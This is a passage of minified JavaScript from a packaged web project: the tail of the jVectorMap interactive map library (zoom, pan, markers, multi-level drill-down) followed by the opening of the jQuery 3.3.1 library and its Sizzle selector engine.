e,map=this;if(this.params=jvm.$.extend(!0,{},jvm.Map.defaultParams,params),!jvm.Map.maps[this.params.map])throw new Error("Attempt to use map which was not loaded: "+this.params.map);for(e in this.mapData=jvm.Map.maps[this.params.map],this.markers={},this.regions={},this.regionsColors={},this.regionsData={},this.container=jvm.$("<div>").addClass("jvectormap-container"),this.params.container&&this.params.container.append(this.container),this.container.data("mapObject",this),this.defaultWidth=this.mapData.width,this.defaultHeight=this.mapData.height,this.setBackgroundColor(this.params.backgroundColor),this.onResize=function(){map.updateSize()},jvm.$(window).resize(this.onResize),jvm.Map.apiEvents)this.params[e]&&this.container.bind(jvm.Map.apiEvents[e]+".jvectormap",this.params[e]);this.canvas=new jvm.VectorCanvas(this.container[0],this.width,this.height),this.params.bindTouchEvents&&("ontouchstart"in window||window.DocumentTouch&&document instanceof DocumentTouch?this.bindContainerTouchEvents():window.MSGesture&&this.bindContainerPointerEvents()),this.bindContainerEvents(),this.bindElementEvents(),this.createTip(),this.params.zoomButtons&&this.bindZoomButtons(),this.createRegions(),this.createMarkers(this.params.markers||{}),this.updateSize(),this.params.focusOn&&("string"==typeof this.params.focusOn?this.params.focusOn={region:this.params.focusOn}:jvm.$.isArray(this.params.focusOn)&&(this.params.focusOn={regions:this.params.focusOn}),this.setFocus(this.params.focusOn)),this.params.selectedRegions&&this.setSelectedRegions(this.params.selectedRegions),this.params.selectedMarkers&&this.setSelectedMarkers(this.params.selectedMarkers),this.legendCntHorizontal=jvm.$("<div/>").addClass("jvectormap-legend-cnt jvectormap-legend-cnt-h"),this.legendCntVertical=jvm.$("<div/>").addClass("jvectormap-legend-cnt jvectormap-legend-cnt-v"),this.container.append(this.legendCntHorizontal),this.container.append(this.legendCntVertical),this.params.series&&this.createSeries()},jvm.Map.prototype={transX:0,transY:0,scale:1,baseTransX:0,baseTransY:0,baseScale:1,width:0,height:0,setBackgroundColor:function(backgroundColor){this.container.css("background-color",backgroundColor)},resize:function(){var curBaseScale=this.baseScale;this.width/this.height>this.defaultWidth/this.defaultHeight?(this.baseScale=this.height/this.defaultHeight,this.baseTransX=Math.abs(this.width-this.defaultWidth*this.baseScale)/(2*this.baseScale)):(this.baseScale=this.width/this.defaultWidth,this.baseTransY=Math.abs(this.height-this.defaultHeight*this.baseScale)/(2*this.baseScale)),this.scale*=this.baseScale/curBaseScale,this.transX*=this.baseScale/curBaseScale,this.transY*=this.baseScale/curBaseScale},updateSize:function(){this.width=this.container.width(),this.height=this.container.height(),this.resize(),this.canvas.setSize(this.width,this.height),this.applyTransform()},reset:function(){var key,i;for(key in this.series)for(i=0;i<this.series[key].length;i++)this.series[key][i].clear();this.scale=this.baseScale,this.transX=this.baseTransX,this.transY=this.baseTransY,this.applyTransform()},applyTransform:function(){var maxTransX,maxTransY,minTransX,minTransY;minTransX=this.defaultWidth*this.scale<=this.width?(maxTransX=(this.width-this.defaultWidth*this.scale)/(2*this.scale),(this.width-this.defaultWidth*this.scale)/(2*this.scale)):(maxTransX=0,(this.width-this.defaultWidth*this.scale)/this.scale),minTransY=this.defaultHeight*this.scale<=this.height?(maxTransY=(this.height-this.defaultHeight*this.scale)/(2*this.scale),(this.height-this.defaultHeight*this.scale)/(2*this.scale)):(maxTransY=0,(this.height-this.defaultHeight*this.scale)/this.scale),this.transY>maxTransY?this.transY=maxTransY:this.transY<minTransY&&(this.transY=minTransY),this.transX>maxTransX?this.transX=maxTransX:this.transX<minTransX&&(this.transX=minTransX),this.canvas.applyTransformParams(this.scale,this.transX,this.transY),this.markers&&this.repositionMarkers(),this.repositionLabels(),this.container.trigger("viewportChange",[this.scale/this.baseScale,this.transX,this.transY])},bindContainerEvents:function(){var oldPageX,oldPageY,mouseDown=!1,map=this;this.params.panOnDrag&&(this.container.mousemove(function(e){return mouseDown&&(map.transX-=(oldPageX-e.pageX)/map.scale,map.transY-=(oldPageY-e.pageY)/map.scale,map.applyTransform(),oldPageX=e.pageX,oldPageY=e.pageY),!1}).mousedown(function(e){return mouseDown=!0,oldPageX=e.pageX,oldPageY=e.pageY,!1}),this.onContainerMouseUp=function(){mouseDown=!1},jvm.$("body").mouseup(this.onContainerMouseUp)),this.params.zoomOnScroll&&this.container.mousewheel(function(event,delta,deltaX,deltaY){var offset=jvm.$(map.container).offset(),centerX=event.pageX-offset.left,centerY=event.pageY-offset.top,zoomStep=Math.pow(1+map.params.zoomOnScrollSpeed/1e3,event.deltaFactor*event.deltaY);map.tip.hide(),map.setScale(map.scale*zoomStep,centerX,centerY),event.preventDefault()})},bindContainerTouchEvents:function(){function handleTouchEvent(e){var offset,scale,transXOld,transYOld,touches=e.originalEvent.touches;"touchstart"==e.type&&(lastTouchesLength=0),1==touches.length?(1==lastTouchesLength&&(transXOld=map.transX,transYOld=map.transY,map.transX-=(touchX-touches[0].pageX)/map.scale,map.transY-=(touchY-touches[0].pageY)/map.scale,map.applyTransform(),map.tip.hide(),transXOld==map.transX&&transYOld==map.transY||e.preventDefault()),touchX=touches[0].pageX,touchY=touches[0].pageY):2==touches.length&&(2==lastTouchesLength?(scale=Math.sqrt(Math.pow(touches[0].pageX-touches[1].pageX,2)+Math.pow(touches[0].pageY-touches[1].pageY,2))/touchStartDistance,map.setScale(touchStartScale*scale,centerTouchX,centerTouchY),map.tip.hide(),e.preventDefault()):(offset=jvm.$(map.container).offset(),centerTouchX=touches[0].pageX>touches[1].pageX?touches[1].pageX+(touches[0].pageX-touches[1].pageX)/2:touches[0].pageX+(touches[1].pageX-touches[0].pageX)/2,centerTouchY=touches[0].pageY>touches[1].pageY?touches[1].pageY+(touches[0].pageY-touches[1].pageY)/2:touches[0].pageY+(touches[1].pageY-touches[0].pageY)/2,centerTouchX-=offset.left,centerTouchY-=offset.top,touchStartScale=map.scale,touchStartDistance=Math.sqrt(Math.pow(touches[0].pageX-touches[1].pageX,2)+Math.pow(touches[0].pageY-touches[1].pageY,2)))),lastTouchesLength=touches.length}var touchStartScale,touchStartDistance,touchX,touchY,centerTouchX,centerTouchY,lastTouchesLength,map=this;jvm.$(this.container).bind("touchstart",handleTouchEvent),jvm.$(this.container).bind("touchmove",handleTouchEvent)},bindContainerPointerEvents:function(){var map=this,gesture=new MSGesture,element=this.container[0];(gesture.target=element).addEventListener("MSGestureChange",function(e){var transXOld,transYOld;0==e.translationX&&0==e.translationY||(transXOld=map.transX,transYOld=map.transY,map.transX+=e.translationX/map.scale,map.transY+=e.translationY/map.scale,map.applyTransform(),map.tip.hide(),transXOld==map.transX&&transYOld==map.transY||e.preventDefault()),1!=e.scale&&(map.setScale(map.scale*e.scale,e.offsetX,e.offsetY),map.tip.hide(),e.preventDefault())},!1),element.addEventListener("pointerdown",function(e){gesture.addPointer(e.pointerId)},!1)},bindElementEvents:function(){var pageX,pageY,mouseMoved,map=this;this.container.mousemove(function(e){2<Math.abs(pageX-e.pageX)+Math.abs(pageY-e.pageY)&&(mouseMoved=!0)}),this.container.delegate("[class~='jvectormap-element']","mouseover mouseout",function(e){var type=-1===(jvm.$(this).attr("class").baseVal||jvm.$(this).attr("class")).indexOf("jvectormap-region")?"marker":"region",code="region"==type?jvm.$(this).attr("data-code"):jvm.$(this).attr("data-index"),element="region"==type?map.regions[code].element:map.markers[code].element,tipText="region"==type?map.mapData.paths[code].name:map.markers[code].config.name||"",tipShowEvent=jvm.$.Event(type+"TipShow.jvectormap"),overEvent=jvm.$.Event(type+"Over.jvectormap");"mouseover"==e.type?(map.container.trigger(overEvent,[code]),overEvent.isDefaultPrevented()||element.setHovered(!0),map.tip.text(tipText),map.container.trigger(tipShowEvent,[map.tip,code]),tipShowEvent.isDefaultPrevented()||(map.tip.show(),map.tipWidth=map.tip.width(),map.tipHeight=map.tip.height())):(element.setHovered(!1),map.tip.hide(),map.container.trigger(type+"Out.jvectormap",[code]))}),this.container.delegate("[class~='jvectormap-element']","mousedown",function(e){pageX=e.pageX,pageY=e.pageY,mouseMoved=!1}),this.container.delegate("[class~='jvectormap-element']","mouseup",function(){var type=-1===(jvm.$(this).attr("class").baseVal?jvm.$(this).attr("class").baseVal:jvm.$(this).attr("class")).indexOf("jvectormap-region")?"marker":"region",code="region"==type?jvm.$(this).attr("data-code"):jvm.$(this).attr("data-index"),clickEvent=jvm.$.Event(type+"Click.jvectormap"),element="region"==type?map.regions[code].element:map.markers[code].element;mouseMoved||(map.container.trigger(clickEvent,[code]),("region"==type&&map.params.regionsSelectable||"marker"==type&&map.params.markersSelectable)&&(clickEvent.isDefaultPrevented()||(map.params[type+"sSelectableOne"]&&map.clearSelected(type+"s"),element.setSelected(!element.isSelected))))})},bindZoomButtons:function(){var map=this;jvm.$("<div/>").addClass("jvectormap-zoomin").text("+").appendTo(this.container),jvm.$("<div/>").addClass("jvectormap-zoomout").html("−").appendTo(this.container),this.container.find(".jvectormap-zoomin").click(function(){map.setScale(map.scale*map.params.zoomStep,map.width/2,map.height/2,!1,map.params.zoomAnimate)}),this.container.find(".jvectormap-zoomout").click(function(){map.setScale(map.scale/map.params.zoomStep,map.width/2,map.height/2,!1,map.params.zoomAnimate)})},createTip:function(){var map=this;this.tip=jvm.$("<div/>").addClass("jvectormap-tip").appendTo(jvm.$("body")),this.container.mousemove(function(e){var left=e.pageX-15-map.tipWidth,top=e.pageY-15-map.tipHeight;left<5&&(left=e.pageX+15),top<5&&(top=e.pageY+15),map.tip.css({left:left,top:top})})},setScale:function(scale,anchorX,anchorY,isCentered,animate){var interval,scaleStart,scaleDiff,transXStart,transXDiff,transYStart,transYDiff,transX,transY,viewportChangeEvent=jvm.$.Event("zoom.jvectormap"),that=this,i=0,count=Math.abs(Math.round(60*(scale-this.scale)/Math.max(scale,this.scale))),deferred=new jvm.$.Deferred;return scale>this.params.zoomMax*this.baseScale?scale=this.params.zoomMax*this.baseScale:scale<this.params.zoomMin*this.baseScale&&(scale=this.params.zoomMin*this.baseScale),void 0!==anchorX&&void 0!==anchorY&&(zoomStep=scale/this.scale,transY=isCentered?(transX=anchorX+this.defaultWidth*(this.width/(this.defaultWidth*scale))/2,anchorY+this.defaultHeight*(this.height/(this.defaultHeight*scale))/2):(transX=this.transX-(zoomStep-1)/scale*anchorX,this.transY-(zoomStep-1)/scale*anchorY)),animate&&0<count?(scaleStart=this.scale,scaleDiff=(scale-scaleStart)/count,transXStart=this.transX*this.scale,transYStart=this.transY*this.scale,transXDiff=(transX*scale-transXStart)/count,transYDiff=(transY*scale-transYStart)/count,interval=setInterval(function(){i+=1,that.scale=scaleStart+scaleDiff*i,that.transX=(transXStart+transXDiff*i)/that.scale,that.transY=(transYStart+transYDiff*i)/that.scale,that.applyTransform(),i==count&&(clearInterval(interval),that.container.trigger(viewportChangeEvent,[scale/that.baseScale]),deferred.resolve())},10)):(this.transX=transX,this.transY=transY,this.scale=scale,this.applyTransform(),this.container.trigger(viewportChangeEvent,[scale/this.baseScale]),deferred.resolve()),deferred},setFocus:function(config){var bbox,itemBbox,codes,i,point;if((config=config||{}).region?codes=[config.region]:config.regions&&(codes=config.regions),codes){for(i=0;i<codes.length;i++)this.regions[codes[i]]&&(itemBbox=this.regions[codes[i]].element.shape.getBBox())&&(bbox=void 0===bbox?itemBbox:{x:Math.min(bbox.x,itemBbox.x),y:Math.min(bbox.y,itemBbox.y),width:Math.max(bbox.x+bbox.width,itemBbox.x+itemBbox.width)-Math.min(bbox.x,itemBbox.x),height:Math.max(bbox.y+bbox.height,itemBbox.y+itemBbox.height)-Math.min(bbox.y,itemBbox.y)});return this.setScale(Math.min(this.width/bbox.width,this.height/bbox.height),-(bbox.x+bbox.width/2),-(bbox.y+bbox.height/2),!0,config.animate)}return void 0!==config.lat&&void 0!==config.lng?(point=this.latLngToPoint(config.lat,config.lng),config.x=this.transX-point.x/this.scale,config.y=this.transY-point.y/this.scale):config.x&&config.y&&(config.x*=-this.defaultWidth,config.y*=-this.defaultHeight),this.setScale(config.scale*this.baseScale,config.x,config.y,!0,config.animate)},getSelected:function(type){var key,selected=[];for(key in this[type])this[type][key].element.isSelected&&selected.push(key);return selected},getSelectedRegions:function(){return this.getSelected("regions")},getSelectedMarkers:function(){return this.getSelected("markers")},setSelected:function(type,keys){var i;if("object"!=typeof keys&&(keys=[keys]),jvm.$.isArray(keys))for(i=0;i<keys.length;i++)this[type][keys[i]].element.setSelected(!0);else for(i in keys)this[type][i].element.setSelected(!!keys[i])},setSelectedRegions:function(keys){this.setSelected("regions",keys)},setSelectedMarkers:function(keys){this.setSelected("markers",keys)},clearSelected:function(type){var i,select={},selected=this.getSelected(type);for(i=0;i<selected.length;i++)select[selected[i]]=!1;this.setSelected(type,select)},clearSelectedRegions:function(){this.clearSelected("regions")},clearSelectedMarkers:function(){this.clearSelected("markers")},getMapObject:function(){return this},getRegionName:function(code){return this.mapData.paths[code].name},createRegions:function(){var key,region,map=this;for(key in this.regionLabelsGroup=this.regionLabelsGroup||this.canvas.addGroup(),this.mapData.paths)region=new jvm.Region({map:this,path:this.mapData.paths[key].path,code:key,style:jvm.$.extend(!0,{},this.params.regionStyle),labelStyle:jvm.$.extend(!0,{},this.params.regionLabelStyle),canvas:this.canvas,labelsGroup:this.regionLabelsGroup,label:"vml"!=this.canvas.mode?this.params.labels&&this.params.labels.regions:null}),jvm.$(region.shape).bind("selected",function(e,isSelected){map.container.trigger("regionSelected.jvectormap",[jvm.$(this.node).attr("data-code"),isSelected,map.getSelectedRegions()])}),this.regions[key]={element:region,config:this.mapData.paths[key]}},createMarkers:function(markers){var i,marker,point,markerConfig,markersArray,map=this;if(this.markersGroup=this.markersGroup||this.canvas.addGroup(),this.markerLabelsGroup=this.markerLabelsGroup||this.canvas.addGroup(),jvm.$.isArray(markers))for(markersArray=markers.slice(),markers={},i=0;i<markersArray.length;i++)markers[i]=markersArray[i];for(i in markers)markerConfig=markers[i]instanceof Array?{latLng:markers[i]}:markers[i],!1!==(point=this.getMarkerPosition(markerConfig))&&(marker=new jvm.Marker({map:this,style:jvm.$.extend(!0,{},this.params.markerStyle,{initial:markerConfig.style||{}}),labelStyle:jvm.$.extend(!0,{},this.params.markerLabelStyle),index:i,cx:point.x,cy:point.y,group:this.markersGroup,canvas:this.canvas,labelsGroup:this.markerLabelsGroup,label:"vml"!=this.canvas.mode?this.params.labels&&this.params.labels.markers:null}),jvm.$(marker.shape).bind("selected",function(e,isSelected){map.container.trigger("markerSelected.jvectormap",[jvm.$(this.node).attr("data-index"),isSelected,map.getSelectedMarkers()])}),this.markers[i]&&this.removeMarkers([i]),this.markers[i]={element:marker,config:markerConfig})},repositionMarkers:function(){var i,point;for(i in this.markers)!1!==(point=this.getMarkerPosition(this.markers[i].config))&&this.markers[i].element.setStyle({cx:point.x,cy:point.y})},repositionLabels:function(){var key;for(key in this.regions)this.regions[key].element.updateLabelPosition();for(key in this.markers)this.markers[key].element.updateLabelPosition()},getMarkerPosition:function(markerConfig){return jvm.Map.maps[this.params.map].projection?this.latLngToPoint.apply(this,markerConfig.latLng||[0,0]):{x:markerConfig.coords[0]*this.scale+this.transX*this.scale,y:markerConfig.coords[1]*this.scale+this.transY*this.scale}},addMarker:function(key,marker,seriesData){var values,i,markers={},data=[];seriesData=seriesData||[];for(markers[key]=marker,i=0;i<seriesData.length;i++)values={},void 0!==seriesData[i]&&(values[key]=seriesData[i]),data.push(values);this.addMarkers(markers,data)},addMarkers:function(markers,seriesData){var i;for(seriesData=seriesData||[],this.createMarkers(markers),i=0;i<seriesData.length;i++)this.series.markers[i].setValues(seriesData[i]||{})},removeMarkers:function(markers){var i;for(i=0;i<markers.length;i++)this.markers[markers[i]].element.remove(),delete this.markers[markers[i]]},removeAllMarkers:function(){var i,markers=[];for(i in this.markers)markers.push(i);this.removeMarkers(markers)},latLngToPoint:function(lat,lng){var point,inset,bbox,proj=jvm.Map.maps[this.params.map].projection,centralMeridian=proj.centralMeridian;return lng<-180+centralMeridian&&(lng+=360),point=jvm.Proj[proj.type](lat,lng,centralMeridian),!!(inset=this.getInsetForPoint(point.x,point.y))&&(bbox=inset.bbox,point.x=(point.x-bbox[0].x)/(bbox[1].x-bbox[0].x)*inset.width*this.scale,point.y=(point.y-bbox[0].y)/(bbox[1].y-bbox[0].y)*inset.height*this.scale,{x:point.x+this.transX*this.scale+inset.left*this.scale,y:point.y+this.transY*this.scale+inset.top*this.scale})},pointToLatLng:function(x,y){var i,inset,bbox,nx,ny,proj=jvm.Map.maps[this.params.map].projection,centralMeridian=proj.centralMeridian,insets=jvm.Map.maps[this.params.map].insets;for(i=0;i<insets.length;i++)if(bbox=(inset=insets[i]).bbox,nx=x-(this.transX*this.scale+inset.left*this.scale),ny=y-(this.transY*this.scale+inset.top*this.scale),nx=nx/(inset.width*this.scale)*(bbox[1].x-bbox[0].x)+bbox[0].x,ny=ny/(inset.height*this.scale)*(bbox[1].y-bbox[0].y)+bbox[0].y,nx>bbox[0].x&&nx<bbox[1].x&&ny>bbox[0].y&&ny<bbox[1].y)return jvm.Proj[proj.type+"_inv"](nx,-ny,centralMeridian);return!1},getInsetForPoint:function(x,y){var i,bbox,insets=jvm.Map.maps[this.params.map].insets;for(i=0;i<insets.length;i++)if(x>(bbox=insets[i].bbox)[0].x&&x<bbox[1].x&&y>bbox[0].y&&y<bbox[1].y)return insets[i]},createSeries:function(){var i,key;for(key in this.series={markers:[],regions:[]},this.params.series)for(i=0;i<this.params.series[key].length;i++)this.series[key][i]=new jvm.DataSeries(this.params.series[key][i],this[key],this)},remove:function(){this.tip.remove(),this.container.remove(),jvm.$(window).unbind("resize",this.onResize),jvm.$("body").unbind("mouseup",this.onContainerMouseUp)}},jvm.Map.maps={},jvm.Map.defaultParams={map:"world_mill_en",backgroundColor:"#505050",zoomButtons:!0,zoomOnScroll:!0,zoomOnScrollSpeed:3,panOnDrag:!0,zoomMax:8,zoomMin:1,zoomStep:1.6,zoomAnimate:!0,regionsSelectable:!1,markersSelectable:!1,bindTouchEvents:!0,regionStyle:{initial:{fill:"white","fill-opacity":1,stroke:"none","stroke-width":0,"stroke-opacity":1},hover:{"fill-opacity":.8,cursor:"pointer"},selected:{fill:"yellow"},selectedHover:{}},regionLabelStyle:{initial:{"font-family":"Verdana","font-size":"12","font-weight":"bold",cursor:"default",fill:"black"},hover:{cursor:"pointer"}},markerStyle:{initial:{fill:"grey",stroke:"#505050","fill-opacity":1,"stroke-width":1,"stroke-opacity":1,r:5},hover:{stroke:"black","stroke-width":2,cursor:"pointer"},selected:{fill:"blue"},selectedHover:{}},markerLabelStyle:{initial:{"font-family":"Verdana","font-size":"12","font-weight":"bold",cursor:"default",fill:"black"},hover:{cursor:"pointer"}}},jvm.Map.apiEvents={onRegionTipShow:"regionTipShow",onRegionOver:"regionOver",onRegionOut:"regionOut",onRegionClick:"regionClick",onRegionSelected:"regionSelected",onMarkerTipShow:"markerTipShow",onMarkerOver:"markerOver",onMarkerOut:"markerOut",onMarkerClick:"markerClick",onMarkerSelected:"markerSelected",onViewportChange:"viewportChange"},jvm.MultiMap=function(params){var that=this;this.maps={},this.params=jvm.$.extend(!0,{},jvm.MultiMap.defaultParams,params),this.params.maxLevel=this.params.maxLevel||Number.MAX_VALUE,this.params.main=this.params.main||{},this.params.main.multiMapLevel=0,this.history=[this.addMap(this.params.main.map,this.params.main)],this.defaultProjection=this.history[0].mapData.projection.type,this.mapsLoaded={},this.params.container.css({position:"relative"}),this.backButton=jvm.$("<div/>").addClass("jvectormap-goback").text("Back").appendTo(this.params.container),this.backButton.hide(),this.backButton.click(function(){that.goBack()}),this.spinner=jvm.$("<div/>").addClass("jvectormap-spinner").appendTo(this.params.container),this.spinner.hide()},jvm.MultiMap.prototype={addMap:function(name,config){var cnt=jvm.$("<div/>").css({width:"100%",height:"100%"});return this.params.container.append(cnt),this.maps[name]=new jvm.Map(jvm.$.extend(config,{container:cnt})),this.params.maxLevel>config.multiMapLevel&&this.maps[name].container.on("regionClick.jvectormap",{scope:this},function(e,code){var multimap=e.data.scope,mapName=multimap.params.mapNameByCode(code,multimap);multimap.drillDownPromise&&"pending"===multimap.drillDownPromise.state()||multimap.drillDown(mapName,code)}),this.maps[name]},downloadMap:function(code){var that=this,deferred=jvm.$.Deferred();return this.mapsLoaded[code]?deferred.resolve():jvm.$.get(this.params.mapUrlByCode(code,this)).then(function(){that.mapsLoaded[code]=!0,deferred.resolve()},function(){deferred.reject()}),deferred},drillDown:function(name,code){var currentMap=this.history[this.history.length-1],that=this,focusPromise=currentMap.setFocus({region:code,animate:!0}),downloadPromise=this.downloadMap(code);focusPromise.then(function(){"pending"===downloadPromise.state()&&that.spinner.show()}),downloadPromise.always(function(){that.spinner.hide()}),this.drillDownPromise=jvm.$.when(downloadPromise,focusPromise),this.drillDownPromise.then(function(){currentMap.params.container.hide(),that.maps[name]?that.maps[name].params.container.show():that.addMap(name,{map:name,multiMapLevel:currentMap.params.multiMapLevel+1}),that.history.push(that.maps[name]),that.backButton.show()})},goBack:function(){var currentMap=this.history.pop(),prevMap=this.history[this.history.length-1],that=this;currentMap.setFocus({scale:1,x:.5,y:.5,animate:!0}).then(function(){currentMap.params.container.hide(),prevMap.params.container.show(),prevMap.updateSize(),1===that.history.length&&that.backButton.hide(),prevMap.setFocus({scale:1,x:.5,y:.5,animate:!0})})}},jvm.MultiMap.defaultParams={mapNameByCode:function(code,multiMap){return code.toLowerCase()+"_"+multiMap.defaultProjection+"_en"},mapUrlByCode:function(code,multiMap){return"jquery-jvectormap-data-"+code.toLowerCase()+"-"+multiMap.defaultProjection+"-en.js"}};js/vendor/jquery-3.3.1.min.js000064400000251621151676723140011577 0ustar00/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",I="\\["+M+"*("+R+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+M+"*\\]",W=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+I+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),F=new RegExp("^"+M+"*,"+M+"*"),_=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return 